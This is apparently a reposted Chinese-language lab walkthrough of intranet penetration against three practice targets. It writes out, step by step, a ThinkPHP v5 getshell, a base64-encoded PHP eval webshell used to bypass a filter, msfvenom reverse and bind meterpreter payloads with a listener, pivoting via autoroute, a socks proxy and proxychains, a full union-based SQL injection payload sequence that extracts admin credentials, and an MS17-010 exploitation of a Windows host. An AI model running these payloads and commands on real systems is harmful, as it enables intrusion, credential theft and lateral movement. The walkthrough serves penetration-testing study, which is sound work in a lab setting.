工作組內網滲透


工作組內網滲透

  • 本文章旨在捋一遍內網滲透的大致流程思路。

1. 內網網絡拓撲

01_內網拓撲

2. 實戰

  1. 首先我們使用nmap掃描一下target1的端口

    • nmap -T4 -O 192.168.1.107
    • 通過掃描結果可以看到,target1開啟了ftp服務/21,ssh服務/22,web服務/80,mysql服務/3306,寶塔/8888
      02_nmap掃描
  2. 既然開啟了web服務,那么我們就先訪問一下target1所搭建的網站

    • 發現使用的是thinkphp v5來搭建的。
      03-thinkPhp v5
  3. 而這個版本是存在漏洞的,我們可以直接使用exp來getshell

    • 如圖:
      04-thinkPhp v5 getshell

    • 但是當我們訪問shell.php的時候發現訪問失敗
      05_寫入失敗

    • cat 一下我們寫的shell,發現字符串 "$_POST" 被過濾掉了
      06_cat一下

    • 那我們便進行繞過,payload:echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
      07_繞過

    • 接下來我們使用蟻劍進行連接
      08_蟻劍連接

  4. 使用蟻劍的虛擬終端,查看一下當前的權限以及linux版本

    • 可以看到,當前用戶為 www用戶(低權限),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
      09_信息搜集
  5. 接下來我們上傳一個msf的馬並連接,以便進一步滲透

    • 生成一個linux的馬:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=6666 SessionCommunication=0 SessionExpireationTimeout=0 -f elf > shell.elf

    • 上傳,並賦予執行權限,執行
      10_生成木馬上傳
      11_生成木馬賦予權限並執行

    • 使用msf設置一個監聽器,用以連接木馬

    msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp 
    set lhost 192.168.1.104
    set lport 6666
    exploit
    
    • 由下圖可看出,木馬連接成功
      12_連接木馬
  6. 接下來我們查找一下與target1連接的內網網段有哪些,並將這些網段添加進路由並掛上代理以便進行內網滲透

    • 所要使用的命令
    run get_local_subnets     //查看與target1所連的內網網段有哪些
    run autoroute -s 192.168.22.0/24 //將該內網網段添加進路由
    run autoroute -p          //用於查看路由是否添加成功
    background                //將當前的會話掛起
    
    search socks              //接下來開始掛socks代理
    use auxiliary/server/socks_proxy
    set VERSION 4a            //選擇版本4a,5好像有問題
    set SRVHOST 192.168.1.104 //ip設置為kali ip
    exploit
    

    13_添加路由 掛socks代理

    • 接下來我們要修改一下代理軟件proxychains的配置文件:/etc/proxychains4.conf。在配置文件最后一行加上:socks4 192.168.1.104 1080

    • 當我們修改完配置文件之后,如果想要讓我們的工具走代理的話,就需要在命令前加上:proxychains
      14_修改配置文件

    • 至此,代理搭建完畢

  7. 接下來我們要搜集內網信息以便進行內網滲透

    • 所使用的命令
    sessions -i 1
    arp -a
    proxychains nmap -Pn -sT 192.168.22.129 //掃描target2的端口
    

    15_探測target2

  8. 接下來我們來訪問target2所搭建的網站

    • 如果你想在kali中打開火狐訪問的話,需要輸入命令:proxychains firefox通過這條命令打開的火狐是通過軟件proxychains走代理的,然后直接訪問ip:192.168.22.129 即可(如果不加代理的話,由於target2屬於內網且與kali不屬於同一網段,我們是訪問不到web的)。

    • 但是我這里想要使用物理機(本機)進行訪問,於是要用到另一款代理軟件:socksCap64。代理軟件socksCap64的配置方法如下:(其實這里你也完全可以使用火狐自帶的代理 - 就像使用brup那樣的配置方法)
      16_sockscap配置

    • 訪問target2的web服務,由於我們掛了代理,所以直接輸入target2的內網ip即可
      17_訪問target2

    • 查看一下網站的源代碼,發現最下方靶場給出了提示:存在sql注入
      18_查看target2的網頁源代碼

  9. 利用sql注入拿下target2網站的賬號密碼

    • 接下來,我將使用到payload全部總結到下面,注入結果和說明我將一並放進一張圖中(放大即可看清)
    • payload:
    ?r=vul&keyword=1'
    ?r=vul&keyword=1'%23
    ?r=vul&keyword=1' order by 39 %23
    ?r=vul&keyword=1' union select  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23
    ?r=vul&keyword=1' union select database(),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23
    ?r=vul&keyword=1' union select group_concat(table_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema="bagecms" %23
    ?r=vul&keyword=1' union select group_concat(column_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name="bage_admin" %23
    ?r=vul&keyword=1' union select username,password,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin %23
    

    19_sql注入流程

    • 將 admin/46f94c8de14fb36680850768ff1b7f2a -> md5解密:admin/123qwe。

    • 賬號密碼拿到手了,接下來我們就需要找網站的后台了,一般而言像這種較為成熟的cms都會存在robots.txt文件,我們可以通過該文件找到后台20_找網站后台

    • 使用我們注入得到的賬號成功登陸
      21_登錄后台

  10. 向target2的網站中寫一句話使用蟻劍連接,並向該服務器中上傳正向連接的木馬並使用msf監聽

    • 模板 -> header.php -> 編輯 ->
      22_target2寫shell

    • 使用蟻劍進行連接(同理:由於target2屬於內網主機,我們仍要使用socksCap64代理軟件打開 蟻劍 來連接一句話)
      23_連接target2的shell

    • 果然不出我所料,就知道target2要給我找點麻煩。

    • 沒辦法,百度唄。最終在這個討論區中找到解決方法:https://github.com/AntSwordProject/antSword/issues/243,

    • 說是因為寶塔的緣故,導致連接被重置了,解決方法:嘗試在header加上 Connection:keep-alive
      24_連接target2的shell

    • 通過蟻劍進入虛擬終端,看一下target2的系統版本,當前用戶權限
      25_看target2信息

    • 接下來生成一個linux的馬:msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > shell2.elf

      • 注意:這里我們生成的是 正向連接 的馬(因為target2在內網,與kali不處於同一個網段,所以target2是主動訪問不了kali的。但是由於kali掛了代理,是可以主動訪問target2的,即target2 ping不通kali,而kali ping得通target2)
    • kali設置監聽、上線

      proxychains msfconsole //注意:這里我們要使用proxychains來打開msf
      use exploit/multi/handler
      set payload linux/x64/meterpreter/bind_tcp
      set rhost 192.168.22.129 //因為我們使用了代理來打開msf,所以這里直接填target2的內網私有ip即可
      set lport 12345
      exploit
      

      26_上線target2

  11. 查看與target2所連的還有哪些網段,並將該網段添加進路由

    • 所需命令:
      run get_local_subnets
      run autoroute -s 192.168.33.0/24
      run autoroute -p
      
      27_將33網段添加進路由
    • 由於之前已經設置過socks4a了,所以這次不需要重復設置了
  12. 對target3進行信息搜集,並上線

    • 接下來進入target2的meterpreter會話,執行命令:arp -a,查看與target2相連的活躍主機有哪些

    • 發現存在 192.168.33.129 這台活躍主機(target3)
      28_target2 arp -a

    • 掃描一波target3:proxychains nmap -Pn -sT 192.168.33.129(記得加上proxychains)

    • 發現 445 端口開啟,且為windows主機,我們可以猜測存在 MS17_010漏洞,直接使用msf盲打,成功上線target3

      proxychains msfconsole
      use exploit/windows/smb/ms17_010_psexec
      set payload windows/meterpreter/bind_tcp
      set rhost 192.168.33.129
      exploit
      

    29_target3 MS17_010

  13. 再來一波進程遷移
    30_進程遷移

至此結束


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM